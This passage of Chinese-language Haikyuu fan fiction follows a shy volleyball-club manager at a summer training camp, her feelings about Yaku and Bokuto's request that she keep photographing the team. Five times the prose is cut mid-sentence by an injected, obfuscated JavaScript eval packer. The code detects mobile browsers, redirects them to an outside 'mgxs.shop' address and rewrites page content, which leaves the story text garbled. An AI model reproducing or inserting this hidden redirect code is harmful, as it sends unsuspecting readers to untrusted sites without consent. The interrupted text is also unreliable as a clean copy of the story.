我认出来，先下意识接过来，随即茫然地抬头看过去，对上了夜久的视线。 只有一瞬，下一刻他便重新望向了行李架，又从上面拿下来一个小包，问：“这也是你的吧？” “是的。”我应了声，随即看着他把小包也递到我面前，我接过来，在原地懵了两秒，得到他递过来的一个疑惑的眼神。 “还有行李落下吗？”他嘀咕一声，犹疑地重新看向行李架，“剩下的行李都是我的，可能被他们不小心拿错了。” “诶、诶？”眼见夜久已经准备下车去帮我寻找不存在的另一个行李，我惊慌了一下，忙道，“没有落下，已经拿齐了。” 对上他再次看过来的隐含疑惑的目光，我仿佛已经听到他问我那为什么还不下车的声音。 有些不自在地抓了抓脸颊，我卡壳了会，不知道怎么解释我为什么拿完了行李还是停在原地的举动。 ……我也不知道啊，莫名其妙就停在原地了，大脑一片空白什么也没想。 我哽住，不知道说什么，头一点一点地低下来，有些难绷。 有点想逃。 夜久有些无奈。 他轻叹了口气，思考了两秒，伸手拍拍我的脑袋，语气软和下来，“你等我一下？我东西马上拿好，可以一起下去。” 我条件反射地应下，“好。” 稍微上了一步，我迈进过道站在他身侧，安静下来，等夜久拿好行李。 他动作的确很快……不过拿个行李耗了很长时间才奇怪吧。我思绪往外拐了一下，又转回来，安心跟在他后面下车。 大巴车的楼梯只有三节，偏陡、每一节阶梯之前的高度也偏高，最后与地面的高度还要更高一些，我抱着行李看不大清脚下的路，便更加小心谨慎起来，生怕不小心拌一下摔地上。 倒不是说摔这么一跤很痛什么的，就是，当着一群运动社团的成员的面跟四肢不勤一样下个大巴都能摔什么的，未免有点太丢脸了一点。 这么想着，我平稳地跳下最后一节台阶，脚踏实地的那一瞬间微妙地松了一口气。 “小游！” 仁花拎着自己行李一路小跑过来，扎在脑袋侧面的小揪随她跑过来的动作在半空中一抖一抖的，我被它吸引了两秒视线，随即才转回来，疑惑地歪了歪头，问：“怎么了？” 她发现似乎是因为反应过激，她引来了周围好些人看过来的视线，不禁有些不好意思地压低了嗓音，抿唇朝我笑起来，小声道：“那个，学姐她们叫我来找你，经理单独住一间教室，我们要先走。” “哦、哦，好的。”我艰难收回黏在她辫子上的目光，反应慢了半拍地应了声，下意识偏头，看了眼不远处正在整理行李的夜久前辈， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309376|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这才应下来。 提起行李，我跟着仁花绕过乌野的车，才注意到不远处楼梯下聚集起来的两位学姐。 刚刚被乌野的大巴挡住了，完全没看到呢。 “清水学姐，大泷学姐。”我逐一叫人。 剩下三位学姐都不在，我疑惑了一瞬，随即想起来大泷学姐是森然的经理，是像上次合宿的我一样来帮忙指路的。 有被自己蠢到。 飘忽着视线，我轻咳一声，微妙地把刚刚那一瞬间的疑惑团吧团吧扔掉，打定主意不让除我之外的任何人知道这件事。 夜久前辈也不行。 “好久不见呀，小游。”大泷学姐笑着朝我打了个招呼，随即很快便切入正题，道，“我们要先走，把行李放下后去给水瓶装水之类的，英里她们比你们早到一点，已经去了。” 我有些紧张的心被学姐同之前没什么变化的态度软化，我眨了眨眼，点头表示知晓。 确定没有人有什么落下的东西，大泷学姐便带着我们去了用作住宿的教室。 考虑到男女有别，经理们住的教室在三楼，比其他队员们住的宿舍要高一层，我坠在队尾拖着行李爬楼梯，一边有些好奇地打量森然的教学楼。 跟音驹好像没什么区别，都是公立学校。 话说公立学校和私立学校教学设施是不是有很大差别来着，我当时择校的时候没仔细看区别，因为音驹离得近就直接选音驹了。 住宿的地方跟上次合宿也没什么太大的区别，还是上午，我们就没铺被褥，简单收拾了一下行李之后就去体育馆了。 我把手机从装了一袋子杂物的帆布包里翻出来放进防晒衣的兜里，想了想又把相机翻出来塞进另一个兜里，又拿上两支驱蚊液后才跟上大部队。 之前听夜久前辈说合宿选址在森然是因为这里凉快，唯一的缺点是蚊虫太多，虽然我不怎么招蚊子，但以防万一还是带上吧。 这么想着，我摸了摸衣服，把手机掏出来放进裤子的口袋里，把两支驱蚊液放进防晒衣的兜里。 刚好，手机很薄也不会硌到我，驱蚊液可能会给别人用，放外套看口袋也更合适一些。 这么想着，我小跑两步跟上学姐们，习惯性停在队尾，有些期待这为期七天的合宿。 27. 二十七个小岛 回到体育馆的时候比赛已经开始了，我“咦”了声，连忙小跑着绕过正在进行比赛的球场，朝着有熟悉的红黑配色的区域跑去，走前还不忘跟同为经理的学姐们匆匆打了个招呼。 “芝山，”我匆匆跑到站在场外正在帮还没到的我记录战局的芝山勉强，不免有些赫然，“不好意思啊，我来晚了。” “嗯？”留着黑色中分刘海的同级生有些懵地看过来，他茫然地歪了歪头，没做抵抗地任我接过手中的笔记本，闻言有些慌乱地摆摆手，露出一个腼腆的笑来，“没关系的，小游。” 他不愿在这个话题停留太久，伸手指了指我手中的本子，简单讲了下现在的战局，“这场是音驹vs森然，我们7－8落后一些，不过一切大概都在掌握中。” 他想了想，道：“和熟悉的对手对打研磨前辈应该会更早习惯一些，很快就可以反打了。” 我了然。 音驹就是这样，最初通常处于劣势，等作为大脑的二传研磨前辈逐渐习惯并看透对方的战术与缺陷便开始反打，用坚固的防守织成无声浸润的无害的利刃，温水煮青蛙般将敌人一网打尽——总之听起来很厉害，我对这些了解不来，但姑且看了这么久比赛也还算有些经验。 我先看了看夜久前辈，观察两秒发现他已经沉浸在比赛当中，便默默移开视线，转而看向其他人。 研磨前辈大概没完全沉浸在比赛中，我视线移到他身上时恰好一球落地，他二次进攻得分，轻飘飘地落回地上，原地停了两秒，正准备回到自己的站位上时敏锐地察觉到我的视线侧头看来，猫一般细小的瞳仁覆着淡淡的冷漠与锋芒，转瞬即逝，意识到是我时便微微收敛了眸光，平淡地扫我一眼便收回视线。 研磨前辈对视线真敏感啊。 一边在笔记本上记下研磨前辈耍了敌方遛了我方的二次进攻，我一边这么想着。 某种程度上我们还挺像的。 我移开视线。 # 这次合宿乌野像从头到尾换了个芯子。 眼睁睁看着他们要么托球托太近攻手没打到、要么二传托球出手所有人都在跑的时候发现其实没人接到、又或者是自由人三米线外起跳托球但跳过了头……总之很怪异。 分差大到我怀疑自己是不是记错了什么，沉吟半晌确认自己的记忆没出问题后才犹豫着在笔记本上记下分数。 12－25，音驹胜。 好怪异，乌野他们像被人夺舍了。 上次合宿有这样吗……？ 我试图回想，但上次为期两天的合宿给我留下的印象大多都是音驹的训练进度和经理负责的工作，对其他学校的印象……还真没多少。 看猫又教练的反应，他们的表现好像还蛮糟糕的……不过好像是在好的方向发展？ 仔细看了两眼猫又教练的表情，我这么想。 圆珠笔的笔尖戳了戳笔记本说是有护眼功能而泛着淡黄色的内页，我合上本子，弯腰从旁边的箱子里摸出一瓶水，按着上面的名字将水递过去。 几位没上场的队员在我旁边帮我，一波人凑到一起，总感觉身边的温度也就这么升高了很多。 虽然现在天热，但体育馆的空调其实开的不算低，教练怕空调开太低队员们休息时会着凉就开了空气循环系统，温度不算很低，也不会对着人吹。 空气流通、再加上我们的球场就在门边，所以虽然几个人刚从场上下来，但倒也没有什么异味 就是有些热。 短头发的劣势这时候体现的淋漓尽致，发丝搭在颈间被沁出的汗水浸湿，我被热的难受，皱起脸，攥着笔记本给自己扇风，试图稍微降降温。 早知道带发绳出来了。 这么想着，我转头，看向正坐在旁边的教练椅上、浑身弥漫着淡淡死意的研磨前辈，问：“研磨前辈，你有带发绳吗？” 研磨闻言看过来，茫然了两秒，摇摇头，说：“我没有。” 他头发没有我长，将将够到下巴，虽然感官上没有那么清爽，但怎么说都不至于到我现在被捂出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309377|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖子汗的程度。 他没什么表情地看了我一会儿，见我实在苦恼，便伸手指了指不远处的夜久，建议，“你可以去问问夜久前辈。” 我茫然回视，“夜久前辈会有发绳？”他不是短头发吗？ 研磨避开我的视线，偏头瞧瞧夜久，又转回来，垂下眼，语气淡淡却又很笃定，“你去找他要就好了，他肯定有。” 我脑袋上冒出一个问号。 ……真的假的？ 但毕竟是研磨前辈……要不还是去问一下吧。 这么想着，我回头，观察了一会，见夜久貌似没有在跟人聊天或是有什么事情在忙的样子，便踌躇了一会儿，凑过去，小声叫他，“夜久前辈。” 夜久正在拿毛巾擦汗，闻言抬头看过来，应了声，“怎么了？” 隐隐约约被空气传递来的温度让我莫名有些不自在，我脚步停住顿在离他稍微有一段距离的地方，还没来得及细想不自在感觉的来源便被夜久的问题打断思绪，我顿了顿，虽然不觉得能得到什么肯定的答复，但出于对研磨前辈的信任，还是开口问道：“夜久前辈，你有发绳吗？” 抓了抓头发，我迎着他的视线下意识解释，“头发太长闷的很热……所以来问问。” 我觉得自己稍微有些强人所难，便有些不自在地撇开视线，已经在心里做好了得到否定答复的准备。 但传进耳中的声音与心中所想的并不一样。 “你还真没带发绳啊，”他语气透着些微妙的惊讶与无奈，我莫名听出了一些意料之中的了然，“你等等，我给你拿。” ……还真有啊。 看着他朝着放包的地方走去，我懵了一瞬，下意识转头看向研磨。 他撇开视线，低头看着手里的水瓶，避开我的视线。 旁观一切的黑尾乐了，他凑过来，顶着一脸促狭的笑意道：“所以不要怀疑我们音驹的大脑啊，你看吧。” 我抓抓头发，有些震撼。 ……夜久前辈还真会带发绳啊。 28. 二十八个小岛 头发扎上之后的确凉快很多，我拨了拨脑后扎起来的小揪，有些不太适应脸颊两侧的发丝扎起后一览无余的视野。 本来留长就是因为很多人看来的话会很难受来着……不过合宿的话也没有那么坏，至少大家都是很不错的人。 跟休息时间帮我拎装水瓶的包的木叶前辈道谢，我由衷地这么想。 果然加入排球部是很正确的选择啊。 集训第一天很快进入尾声，晚饭前将近一个多小时经理们便先一步离开了体育馆，去食堂准备今天的晚饭。 全天下来大家的劲头都很足，就算到了晚饭时间来的人也很少，我撑着打饭的窗口向外望，只看到跟福永一起慢悠悠从门口晃进来的研磨，还有其他学校的零零散散进来的几位前辈。 回想起临走前大家热火朝天比赛训练的样子，我歪了歪头，转头小声问旁边的大泷，“大泷学姐，需要去叫留下自主训练的前辈们来吃饭吗？” 她疑惑地转头看过来，视线扫过食堂内稀少的人们迅速懂了我的意思，不免有些好笑，习以为常地朝我摇了摇头，“等会去叫留到最后忘记时间的几个就行了，他们年年合宿都这样，不用太在意。” 现在人来的少，耳尖听到我们对话的雀田闲得没事，便回想了一下，猜测道：“今年大概还是木兔他们吧。” 说是猜测其实语气意外笃定，我顺着想了想，也兴致勃勃地参与话题，“我觉得夜久前辈也不会太早回来，夜久前辈应该会留下叫灰羽多练一下接球。” 不过灰羽可能会先跑……“也可能是带芝山？等会看看谁先来好了。” “日向和影山应该也会最后来吧。”仁花也加入进来，不过她再次之前看着我似乎是原地思考了一会儿，顿了顿，语带感慨地道，“小游跟夜久前辈关系很好吧。” 诶？ 我慢了半拍地眨了下眼，大脑空白一瞬，随即有些惊讶地转头看过去，先下意识冒了个语气词，“……啊？” 仁花的话在我脑海里转了一圈，大脑先一步理解了它的意思，我微微怔住。 失神地盯着她看了两秒，将这位性格敏感的同级生看得开始炸毛、怀疑自己是不是说错话了时我才后知后觉地移开视线，抓了抓脸颊，一时不知道该说什么。 关系好什么的……熟人和关系好还是有区别的吧。 我和夜久前辈，可以算做关系好吗？ 什么样的关系可以被称为好，朋友？但我从小到大就没什么类似朋友的东西、完全没有能参考的经验，更何况跟前辈的关系……可以被称为朋友吗？ 虽然一直都说不要将前辈当做同等的好友、怀有敬畏之心不要深交之类的，说是因为学校里前后辈观念严重之类的，但音驹……好像并没有？大家都是很好的人，完全没有出现网上那种仗着前辈身份就使唤后辈发号施令的人存在。 不过一码归一码，在乎前后辈观念的人也有好有坏，夜久前辈就是好的那一类人，不对前辈、老师不敬，会对后辈多有照顾，也会对需要帮助的人施以援手。 夜久前辈果然是很好的人……不过这么说起来，我原来不光占了“后辈”这个标签，还是夜久前辈眼里“需要帮助的人”吗？ 不然只是“后辈”的话，夜久前辈对我的照顾和对其他同级生的差别未免也太大了些，就算有性别原因也不至于……原来是因为我除了是后辈还很不省心，所以夜久前辈才会对我投以更多的关注吗？ 这么说的话……我对夜久前辈来说应该是一个不太省心需要多加照顾的后辈吧。 心思转了几圈得出这么个结论，我忽略心里翻涌而起的不知从何而起的失落，无意因太长时间不回答让仁花尴尬，便迅速收敛四处衍生的思绪，抿了抿唇，“应该…不算吧。” “对夜久前辈来说我应该是需要照顾的后辈吧。”我弯弯眼睛，虽然有些失落，但总体还算平和地轻勾了下唇角，开口，“他是很好的人啊。” 终于从自己的思绪中出来，察觉到身上多出的几道视线，我有些疑惑地歪了歪头，偏头看回去。 几位学姐正满脸复杂地看着我，我唇角一僵，大脑懵了一瞬，被人注视产生的不自在几乎瞬间席卷了全身。 能带给我安全感的侧发被发绳绑起，我先下意识低了低头才意识到这一点，嗫嚅两下，随即声音都弱了下去，“……怎么了吗？” 大泷神情微妙地、莫名有点不忍直视地移开视线，半晌又忍不住回头，问我，“你觉得……夜久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309378|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 君只把你当后辈看？” 我直觉不对，但仔细一想又感觉好像也没什么问题，不禁有些疑惑地回视。 虽然没出声，但眼中隐约可见的茫然在此刻却格外明显。 很难说旁观了一切的雀田是什么心情。 她不禁有些无奈地叹了口气，伸手拍拍我的肩，微微用力将我整个人掰了回来，指了指已经拿着餐盘快到跟前的人们，开口转移话题，“好了好了，先干活吧。”等会干完我大概也就想不起来这回事了。 见我顺利转移了注意，她和不远处欲言又止的大泷对视一眼，一时竟都有些无言以对。 半响，她叹气。 ……算了，总归也才高一。 另一个旁观一切的人倒是什么都没意识到，仁花一脸懵地看着两位学姐突然就对视一眼默契叹气，脑袋上缓缓冒出一个问号。 发生什么了？她漏掉什么剧情了吗？ 剧情跳过把村民B一起跳过了？ # 如我们所料，刚刚被点名的几位都是最后来的。 其中，夜久、灰羽和芝山回来得较早，日向影山其次，木兔和黑尾、赤苇则是最后一批。 毕竟都已经是高中生了，而且这群人饭量参差不齐的，为了防止最后出现“太多了少一点、再少一点”“太少了再多一点啦，根本不够吃嘛”的情况，最后我们决定的是让他们自己打饭，经理排班轮流看一下就好，也不累。 夜久前辈他们回来的时候我已经换下来还吃好饭了，不过经理们最后还要负责洗碗之类的事务，就这么点时间回宿舍也干不了什么，就蹲到厨房开始发呆。 让我意识到夜久他们已经回来了的是灰羽产生的动静。 扒着门框看着他从食堂门口飞奔进来，拿着餐盘直冲打饭的窗口，我沉默一会儿，转头看向正常从门口走来的夜久和芝山，语气犹豫，“灰羽不是留下自主训练了？” 跑跑跳跳一整天还加练，竟然还这么有活力……真的假的。 “是留了。而且我有盯着，没偷懒。” 我好像依稀看到了夜久前辈额角隐约冒出的井号……似乎不是错觉。 他一锤定音，“训练量还是太少，明天再加点吧。” 29. 二十九个小岛 我沉默了两秒，随即同情地转头，看了眼一无所知正乐颠颠挑选自己喜欢的菜的灰羽。 灰羽明天应该就没法这么敏捷地冲进来了吧。我想。 夜久倒没把太多心思放在这里，他偏头看了我两秒，问：“吃完饭了？” “吃了。”我回神，先下意识应了声，随即习惯性报了一遍菜谱，“炸猪排、天妇罗，还有一点青菜。” “白福学姐做的炸猪排很好吃。”我真心夸赞，伸手往后指了指，说，“考虑到炸猪排比较受欢迎所以做的比较多，应该还有剩下。” “还有炒蔬菜也有。不过没有蛋包饭，说是不太好做。”我看向芝山，“但炒饭还有。” 芝山迎上我的视线愣了一下，随即笑着摆了摆手，说：“没有也没关系，别的也可以。” 他顿了顿，有些好奇问：“小游竟然记得我喜欢吃什么吗？” 闻言，我眨眨眼，有些不太好意思地抿唇下了下，“因为上次聊起的时候有说到，就记住了。” 我想了想，发现真要说起来我其实对同级生的喜好都还算了解，二三年级相对少一点，也就夜久前辈的喜好稍微具体一点。 研磨前辈应该不能算……他喜欢打游戏应该相处没多久的人也知道吧。 不过记这个也不是很费时来着，聊天的时候稍微上心一点记一下就好了，没什么难的。 这还是研二哥教我的，说是这样可以拉进和他人之间的关系、更容易与其成为朋友，就算我不喜欢跟人社交也可以给别人留下一个比较好的印象，不至于因为孤僻被孤立。 挺有用的，我国中就这么跌跌撞撞勉勉强强地过下来了。 没闲聊多久，灰羽打完了饭见一起回来的夜久和芝山还没来，不禁有些疑惑地问：“夜久桑、芝山，你们不吃吗？” 他顺势看向我，“还有小游，你吃了吗？” “吃了。”我应了声，转头自然跟夜久和芝山打了个招呼，“那我先走了，等会还要洗碗。” 夜久朝我招了招手，“去吧。” # 集训第一天很快结束，而第二天上午，我们获得了意外之喜。 森然高中排球部的家长送来了好几个西瓜来慰问排球部的队员们。 切西瓜跟我没什么关系，我的刀功还不太能应付切西瓜这件事，到时候切得歪七扭八多少也不好看，学姐们便把我推出切西瓜的行列，叫我去端盘子。 将切好的西瓜转到托盘里，我跟着学姐们一起去体育馆给队员们送补给。 体育馆传出熟悉的排球的击打声，隐约还有一些“好球！”“好一传！”“我来！”之类的声音，我踏进场馆，原本还有些朦朦胧胧的声音骤然清晰起来，熙熙攘攘的声音在耳畔响起，我听到宫之下学姐抬高了声音，带着笑意朝大家道：“大家！森然高中的学生家长给大家送西瓜来了！” 我们一行人一下成了视线焦点，不过所幸我站到角落，看向我的就只有同队的队员——人果然是适应力强的生物啊，很久以前我被零星几个人注视就已经够不适了，结果现在十来个人看过来都没什么反应，脱敏效果显著。 这么想着，我将托盘递向最先洗完手跑来的灰羽，想到刚刚看到的逆着人群躲去角落的研磨前辈的身影，遵从音驹成员都很纵容自家二传的传统美德指挥灰羽，“灰羽，你帮研磨前辈带一块吧。” 他毫无怨言地欣然应允，我便也没反应过来直接开口指挥同级生给前辈送西瓜的行为的不合适之处，目送他带着两块西瓜朝着研磨前辈的方向冲去便回过头，继续分发盘子里的西瓜。 一整盘西瓜很快分完，转了一圈确定自家队员都起码分了一块，我便端着剩下的西瓜坐到台阶上，挑了一块小的开始慢吞吞地啃。 西瓜比预想中的甜，我啃完一小块就没什么想继续吃的欲望了，把托盘里剩下的西瓜分给其他想再吃一块的人，我便起身，抖开一起带来的垃圾袋开始统一收其他人吃剩下的西瓜皮，等会拿去食堂后厨扔到湿垃圾桶里面。 短暂的休息时间即将结束，大家陆陆续续吃完西瓜，把西瓜皮丢掉然后去洗手，准备回体育馆进行新一轮比赛。 我偏头瞧瞧看起来有些出神的仁花，见她不知道被什么东西绊了一下快要摔倒，便伸手扶了她一把。 “咿！”她慌慌忙忙借我的力站稳，“谢、谢谢小游。” 我摇了摇头表示没事，盯着她看了两秒，怕她是生病了或是身体不舒服，犹豫片刻问：“仁花，你还好吗？” 她懵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309379|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下，茫然地看向我，“什么？” 意识到是我误会了，我抓了抓脸颊，不禁有些不好意思，“看你注意力不太集中怕你是身体不舒服来着……没什么的。” “哦、哦，谢谢你啊，小游。”她恍然，随即解释道，“因为稍微有点担心月岛君他们啦……总感觉怪怪的。” 我没太懂她的意思，结合上下文想了想，问：“因为月岛君？” 虽然看比赛的时候不常关注其他队的人，但我还是会认真听猫又教练的话的，没记错的话，我好像有听教练说过关于乌野的事情。 黑色的鸦群于晴朗的夏日振翅欲飞，他们追寻着更高的天空，宛若饕餮般吞食着一切养分。但就像吉他中总有一些杂音那样，月岛他于炽烈狂热的鸦群中始终保持着冷静，静静看着同伴们拼了命般地进化，自己却始终保持着及格就好的随意。 不过及格就好……印象里，月岛是这样的人吗？ 我回想了一下，但并没有回想出个所以然来，鉴于我对这位同级生的交集实在称不上多，我最终只是将那点转瞬即逝的异常感归于错觉。 仁花闻言露出了很难形容的表情，她纠结了一会儿，“应该算吧……” 她看起来有些苦恼，吞吞吐吐地、犹豫地小声道：“我其实也不是很清楚到底是出了什么问题，只是月岛君……他多少还是有些消极的吧。” 她用词很委婉，甚至感觉有些谨慎过了头，但再想想也不是不能理解——我好歹还多看了两个月比赛，但仁花可是真的这次合宿的前不久才成为经理的，没准对排球的了解比我还少。 我对她的话表示理解，但最终还是沉默下来，因为我实在不知道能说些什么。 毕竟是其他队里的事情，我不管怎么说都不太好插手，再者我在排球方面也顶多能算个新手小白，也没能力去管。 ——不过我想，虽然我没法帮仁花解决问题，但我至少应该可以将掌握的一手情报第一时间传过去。 集训第三天的自由训练时间，我发现了正在第三体育馆进行3v3比赛的月岛，以及他和他一起训练的队员，黑尾、木兔、赤苇、日向还有灰羽。 ……没记错的话，我记得灰羽之前不是在跟夜久前辈练接球吗？怎么来这了？ 30. 三十个小岛 “黑尾前辈，木兔前辈，赤苇前辈，月岛君，日向君。” 按着顺序逐一礼貌地叫了一声，我顿了顿，最后将视线转向灰羽，踌躇两秒，顶着一众投来的视线委婉地说：“灰羽，夜久前辈在找你。” 黑尾挑了挑眉，顺着我的视线看过去，意有所指道：“看来夜久没说你已经过关了？列夫。” 灰羽的表情从看到好友来的高兴随我的话逐渐转为一种微妙的心虚，他身体一僵，闻言额头都似乎开始冒汗，强撑着语气，但难免有些中气不足地反驳，“才…才没有！小游你肯定记错了……” 我无言地看向他，沉默两秒，低头看了看手机，语气平静，“那我问问夜久前辈，他要是说你没过就回——” “诶？！！等会吧等会吧，比赛还没有打完呢！”我眼前一花，面前就不知道突然从哪蹦出一个和我差不多高的橘发少年，他额角薄薄覆着一层汗，身上的运动服也被汗水打得湿润，橘色的眼睛却很亮。他语气急切地恳求我，双手紧攥握在胸前，看着急冲冲的。 我被吓了一跳，下意识后退一步，差点条件反射把手里的手机丢出去。 眼疾手快把手机捞回来，我这才有闲心去回忆刚刚日向的话，不禁顿了顿，发出一个茫然的音节，“……啊？” 他原地蹦了蹦，头也不回地伸手一指不远处的记分牌，身上带着股很难出现在我身上的格外磅礴的活力，“我们马上就打完了！就再等一会吧，等打完再叫列夫走！” 我下意识顺着他指的方向看过去，在看到记分牌上写的“猫头鹰I猫”时微微一顿，真心实意地觉得这一定是黑尾前辈写的，其他人应该不会想着用动物塑来给队伍命名。 但随即视线下移，看到比分牌上明晃晃的“03:04”，我微妙地沉默两秒，偏头看了眼正一脸期待看着我的橘发同级生。 一边三分一边四分……按比赛时长的比例的话，这完全没法称为马上就打完了啊。 日向看起来不像是跟夜久前辈一样看懂了我的表情的样子，但他大概的确从我的表情中察觉到了什么、又或者是凭直觉感觉到了什么，他立刻解释，“很快的！二十分钟就好了！” ……不，我倒也不是嫌时间太长的意思。 重点是不是抓得有点奇怪？这是二十分钟的问题吗？ 我欲言又止。 “嗨嗨，”黑尾前辈从球场上下来，笑眯眯地摊开手，耸了耸肩，语气透着股随意和某种看热闹般的怂恿，“刚好我们缺个裁判，小游也来加入吧。” 这个我倒是无所谓……反正灰羽只要没有偷懒就行，我刚就是逗他玩的，但黑尾前辈的语气……我微妙地、警惕地抬眼看向他，总感觉这位幼稚的前辈又在酝酿什么坏主意。 “来吧来吧，你不是正好带了相机？裁判有最好的视角哦。”他瞥见我胸前挂着的相机，这么跟我说。 ……也不是不行？该干的事情已经干完了，要不然我也不会带着相机出来溜达，看看周围有什么可以当素材的画面来拍。 实打实地心动了两秒，我视线飘了飘，不自觉飘向旁边正睁着明亮的圆眼睛看着我的同级生，又看了眼不远处正摸着下巴一脸若有所思看着我的黑白挑染发型的前辈. 虽然不知道木兔前辈在冥思苦想什么……但这两个人拍照真的很好出片。 很有活力也很有朝气，眼睛很亮，长相也好，拍出来的照片有种富有奇妙生机的美感，有种热浪扑面而来的感觉——虽然我一直对这样热情的人有点现实社交上的畏惧啦，但隔着屏幕的距离看就很讨喜。 思绪一瞬间划过很多，但外在表现出来的我只在黑尾问话后微微顿了两秒便下了决定，但就在我张了张嘴，刚想应下来时，原地兀自思考着什么的前辈仿佛突然顿悟，看着我的目光骤然亮起来。 我敏锐地察觉到这点变化，莫名有种不好的预感攀上心头，我下意识把将要说出口的话咽回去，有些后背发凉地看了过去。 于我惊悚的目光下，木兔兴冲冲地大声道：“原来帮我们拍照片的人就是你！” 我登时有种不祥的预感，下意识后退一步，瞪大眼睛，下意识将求助的目光投向现场最熟悉的、好歹偶尔会靠谱一点的黑尾前辈。 他同样疑惑地回视，眼中带着股和我如出一辙的警惕，但少了对未知的一点恐惧。 就这么一转头的功夫，木兔前辈已经以极快的速度冲到我的面前。 运动后人身上源源不断冒出的热气顺着他冲来时带起的夏日夜晚微凉的风扑面而来，我僵住，被合宿中熟悉的队员和学姐的大部分相处时间而压下的对与生人交流的抗拒瞬间涌上心头，下意识屏息退后两步，直至拉开一个接近一米的安全距离。 木兔倒不在意我的退后，他兴冲冲地继续道：“可以继续拍吗！你拍的超棒的！特别帅！！” “拍吧拍吧，真的很棒哦！不过作为王牌的我也超帅的！！虽然不知道是什么时候拍的但那个时候我的状态一定好到爆！！！” ……虽然那一球木兔前辈的状态的确不差，但没记错的话，我只发了一张给黑尾前辈让他帮忙传给枭谷那边吧。 那张照片拍照的时候木兔前辈扣的球被对面生川的前辈拦下来、下一秒整个人就重返消极模式安详地脱离比赛了来着。 ……不过这不是重点。 听清木兔前辈请求的那一瞬间，我实打实地愣了一下。 还是第一次被单独的某个人说拍的很好想请求我继续拍来着，有点新奇……但还是、不敢答应。 压力自心头重重压下，我不自觉地攥了攥手中手机的一角。 技术堆叠的照片总是好不过满腔爱意投入后拍出来的照片的，我完全、完全没有信心可以拍出别人喜欢、或者别人觉得好的照片。 万一拍完还是效果不好怎么办、万一今天没有找到合适的时机怎么办、万一最后的成图还是没有达到木兔前辈的预期怎么办。 ……阵平哥说过不想答应的事情就不要答应、不管怎么样都不要勉强自己，但是……日本前后辈观念这么严重，连敬语都要反复斟酌思量，我真的可以拒绝吗？ 夜久前辈和音驹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309380|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的几位前辈就算了，他们不会介意……那木兔前辈呢？他会介意吗？ ……救命。 后背一瞬间猛地窜上一股凉意，我下意识咽了咽口水，强撑着自己不要下意识退后那一步，那样抗拒意味太明显了、也太过冒昧，我该寻找一个更委婉的方式来拒绝拒绝。 但喉头莫名干涩起来，喉咙像被扼住发不出一点声音，我视线飘了飘，目光草草掠过木兔背后一脸冷静、似乎正在想些什么的不太熟的黑发前辈。 “那、那个，”微不可察地深吸一口气，我感觉我的尾音有些抖，“我也不确定能不能拍出符合木兔前辈期望的照片，如、如果不嫌弃的话我可以帮忙拍一下……” “当然不会嫌弃了！”虽然停下等后辈斟酌犹豫了半天才得到回应，但木兔似乎完全没有不耐烦的意思，他甚至等我尾音逐渐弱下去才开口，开朗道，“每个人都有状态不好的时候嘛，看你自己就好啦。” “反正王牌会一直保持着最好的状态等待别人的镜头的！！”他斗志高昂。 ……这是太阳吗？ 不可置信的震撼涌上心头，甚至一时压过了心中堆积的、还未彻底散去的阴霾，我看向他的眼神一瞬间都隐隐带上了敬畏。 感觉眼睛要被闪瞎了……竟然不是错觉吗？ 